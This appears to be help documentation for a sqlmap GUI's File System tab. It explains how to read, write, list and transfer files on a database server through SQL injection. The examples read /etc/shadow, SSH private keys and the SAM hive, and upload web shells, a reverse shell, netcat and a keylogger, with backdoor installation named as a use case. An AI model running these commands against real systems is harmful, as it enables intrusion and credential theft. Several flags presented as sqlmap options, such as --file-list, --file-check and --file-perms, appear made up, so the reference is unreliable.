SQLmap-GUI

File System Tab - File System Access and File Operations

The File System tab controls how SQLmap accesses and manipulates files on the target database server, including reading, writing, uploading, and downloading files.

📋 Overview

The File System tab contains four main sections:

1. File Reading - Read files from the server
2. File Writing - Write files to the server
3. File Upload/Download - Transfer files to/from server
4. Directory Operations - Directory listing and navigation

📖 File Reading Options

Read a File from the Back-end DBMS File System

Parameter: --file-read=FILE Description: Read a file from the database server Examples:

--file-read=/etc/passwd
--file-read=C:\Windows\System32\drivers\etc\hosts
--file-read=/var/www/html/config.php
--file-read=/home/user/.ssh/id_rsa

Use Cases:

• Configuration file access
• Password file reading
• Source code analysis
• Log file examination

Read Multiple Files

Parameter: --file-read=FILE1,FILE2,FILE3 Description: Read multiple files in one command Examples:

--file-read=/etc/passwd,/etc/shadow
--file-read=config.php,db.php,admin.php
--file-read=.htaccess,.htpasswd

Use Cases:

• Batch file reading
• Related file analysis
• Configuration file sets

✏️ File Writing Options

Write a Local File to the Back-end DBMS File System

Parameter: --file-write=LOCAL_FILE --file-dest=REMOTE_PATH Description: Upload a local file to the server Examples:

--file-write=/local/shell.php --file-dest=/var/www/html/shell.php
--file-write=C:\local\nc.exe --file-dest=C:\Windows\Temp\nc.exe
--file-write=./webshell.jsp --file-dest=/opt/tomcat/webapps/ROOT/shell.jsp

Use Cases:

• Web shell deployment
• Backdoor installation
• Configuration modification

Destination Path for File Write

Parameter: --file-dest=PATH Description: Destination path for uploaded files Examples:

--file-dest=/var/www/html/uploads/
--file-dest=C:\inetpub\wwwroot\
--file-dest=/tmp/
--file-dest=/home/user/public_html/

Use Cases:

• Web-accessible directories
• Temporary directories
• User home directories

📁 Directory Operations

List Files and Directories

Parameter: --file-list=PATH Description: List contents of a directory Examples:

--file-list=/var/www/html/
--file-list=C:\Windows\System32\
--file-list=/etc/
--file-list=/home/

Use Cases:

• Directory structure exploration
• File discovery
• Permission assessment

Recursive Directory Listing

Parameter: --file-list=PATH --recursive Description: Recursively list directory contents Behavior: Lists all files and subdirectories Examples:

--file-list=/var/www/ --recursive
--file-list=C:\Program Files\ --recursive
--file-list=/home/user/ --recursive

Use Cases:

• Complete file system mapping
• Large directory structure analysis
• Comprehensive reconnaissance

🔄 File Transfer Options

Download Files from Server

Parameter: --file-read=REMOTE_FILE Description: Download files from the server to local machine Behavior: Files are saved to sqlmap output directory Examples:

--file-read=/var/log/apache2/access.log
--file-read=C:\Windows\System32\config\SAM
--file-read=/etc/mysql/my.cnf

Use Cases:

• Log file analysis
• Configuration backup
• Evidence collection

Upload Files to Server

Parameter: --file-write=LOCAL_FILE --file-dest=REMOTE_DEST Description: Upload local files to server Examples:

--file-write=./reverse_shell.php --file-dest=/var/www/html/rs.php
--file-write=C:\tools\netcat.exe --file-dest=C:\Temp\nc.exe
--file-write=./keylogger.py --file-dest=/tmp/keylogger.py

Use Cases:

• Tool deployment
• Backdoor installation
• Configuration changes

🔧 Advanced File System Options

Check File Existence

Parameter: --file-check=FILE Description: Check if a file exists on the server Examples:

--file-check=/etc/passwd
--file-check=C:\Windows\System32\cmd.exe
--file-check=/var/www/html/admin.php

Use Cases:

• File presence verification
• Path validation
• Security assessment

Get File Size

Parameter: --file-size=FILE Description: Get the size of a file on the server Examples:

--file-size=/var/log/syslog
--file-size=C:\Windows\System32\ntoskrnl.exe
--file-size=/etc/passwd

Use Cases:

• File size assessment
• Download planning
• Storage analysis

Get File Permissions

Parameter: --file-perms=FILE Description: Get file permissions on the server Examples:

--file-perms=/etc/shadow
--file-perms=C:\Windows\System32\config\
--file-perms=/var/www/html/

Use Cases:

• Permission assessment
• Security analysis
• Access control review

📝 Usage Examples

Basic File Reading

Read File: /etc/passwd

Generated Command:

sqlmap -u "http://example.com/page.php?id=1" --file-read=/etc/passwd

Web Shell Upload

Write Local File: ./shell.php
Destination: /var/www/html/uploads/shell.php

Generated Command:

sqlmap -u "http://example.com/upload.php?id=1" --file-write=./shell.php --file-dest=/var/www/html/uploads/shell.php

Directory Exploration

List Directory: /var/www/html/
Recursive: ✓ Enabled

Generated Command:

sqlmap -u "http://example.com/browse.php?id=1" --file-list=/var/www/html/ --recursive

Configuration File Access

Read Multiple Files: /etc/mysql/my.cnf,/var/www/config.php,/home/user/.bashrc

Generated Command:

sqlmap -u "http://example.com/admin.php?id=1" --file-read=/etc/mysql/my.cnf,/var/www/config.php,/home/user/.bashrc

Windows System File Access

Read File: C:\Windows\System32\drivers\etc\hosts
List Directory: C:\Windows\System32\

Generated Command:

sqlmap -u "http://example.com/win.php?id=1" --file-read=C:\Windows\System32\drivers\etc\hosts --file-list=C:\Windows\System32\

File System Reconnaissance

Check File: /root/.ssh/id_rsa
Get Size: /var/log/auth.log
Get Permissions: /etc/shadow

Generated Command:

sqlmap -u "http://example.com/recon.php?id=1" --file-check=/root/.ssh/id_rsa --file-size=/var/log/auth.log --file-perms=/etc/shadow

⚠️ Important Considerations

File Path Formats

• Unix/Linux: Use forward slashes /path/to/file
• Windows: Use backslashes C:\path\to\file or forward slashes C:/path/to/file
• Web roots: Common locations /var/www/html/, /var/www/, C:\inetpub\wwwroot\
• User directories: /home/user/, C:\Users\user\

Permission Requirements

• Database user privileges: File operations require appropriate database permissions
• OS-level permissions: Database user must have OS read/write permissions
• Web server user: Often runs as www-data, apache, nobody
• Privilege escalation: May need to escalate privileges for sensitive files

Security Implications

• Sensitive files: Reading /etc/passwd, /etc/shadow, SAM files
• Configuration files: Database configs, web server configs
• Log files: Access logs, error logs, authentication logs
• SSH keys: Private keys in ~/.ssh/
• Source code: Application source files

Performance Considerations

• Large files: Reading large files can be slow and memory-intensive
• Recursive listing: Can generate enormous output on large file systems
• Network transfer: File uploads/downloads depend on network speed
• Server load: File operations can impact server performance

🔧 Troubleshooting

File Read Access Denied

Problem: Cannot read files due to permission errors Solutions:

1. Check database user privileges
2. Try different file paths
3. Use OS command execution for file access
4. Escalate database privileges if possible

File Write Failing

Problem: Cannot write files to the server Solutions:

1. Verify write permissions on target directory
2. Check available disk space
3. Try different destination paths
4. Use absolute paths instead of relative

Directory Listing Empty

Problem: Directory listing returns no results Solutions:

1. Verify directory exists and is readable
2. Check path format (Unix vs Windows)
3. Try without recursive flag first
4. Use OS commands for directory listing

File Not Found Errors

Problem: Specified files don’t exist on the server Solutions:

1. Use –file-list to explore directory structure
2. Try common file locations
3. Check path case sensitivity
4. Verify file system type and structure

Large File Transfer Issues

Problem: Large files failing to transfer Solutions:

1. Check available memory and disk space
2. Use chunked transfer if available
3. Compress files before transfer
4. Split large files into smaller parts

Character Encoding Issues

Problem: File contents display incorrectly Solutions:

1. Specify correct encoding with –charset
2. Use hex dump for binary files
3. Check file type and encoding
4. Use appropriate text encoding conversion

📚 Related Tabs

• OS Access Tab: Operating system command execution
• UDF Tab: User-defined function creation and execution
• Enumeration Tab: Database structure discovery
• General Tab: Output and logging options</content>

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